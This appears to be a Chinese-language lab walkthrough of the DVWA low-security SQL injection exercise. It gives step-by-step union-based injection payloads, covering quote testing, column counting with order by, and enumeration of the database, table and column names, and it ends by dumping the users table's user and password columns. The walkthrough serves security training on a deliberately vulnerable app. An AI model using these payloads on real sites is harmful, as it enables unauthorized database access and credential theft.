如何判断sql注入是字符型还是数字型:
https://www.cnblogs.com/aq-ry/p/9368619.html
下面开始进行注入
刚进入是这样的:
1.输入
?id=1'
输入
?id=1' and '1'='1
输入
?id=1' and '1'='2
成功执行,且可以判断出为字符型注入
2.接下来判断字段数
插入代码?id=1' order by 4%23
可见字段数是小于4的,使用二分法,用2再试试
为了保险起见,可以去试试3,但是在这里就不试了,所以字段数为2
3.获取数据库名
输入代码?id=1'union select 1,database()%23
获取数据库名为dvwa
3.获取所有表名
输入代码?id=1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'%23
可以看到有两张表,分别为guestbook和 users
4.以users表为例,获取其中列
输入代码
?id=1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23
这时我们获取了users表里的所有列名
5.现在我们来获取users表里某列的数据( 这里以获取user和password列为例)
输入代码
?id=1'union select group_concat(user),group_concat(password)from users%23
这里获取了列里的所有数据,也可使用如下语句一个一个获取
输入代码?id=1'union select user,password from users limit 0,1%23
limit n,m 中n代表起始数,m代表检索数
如换成 limit 1,2 则如下图:
好了,dvwa sql注入 (low)就完成了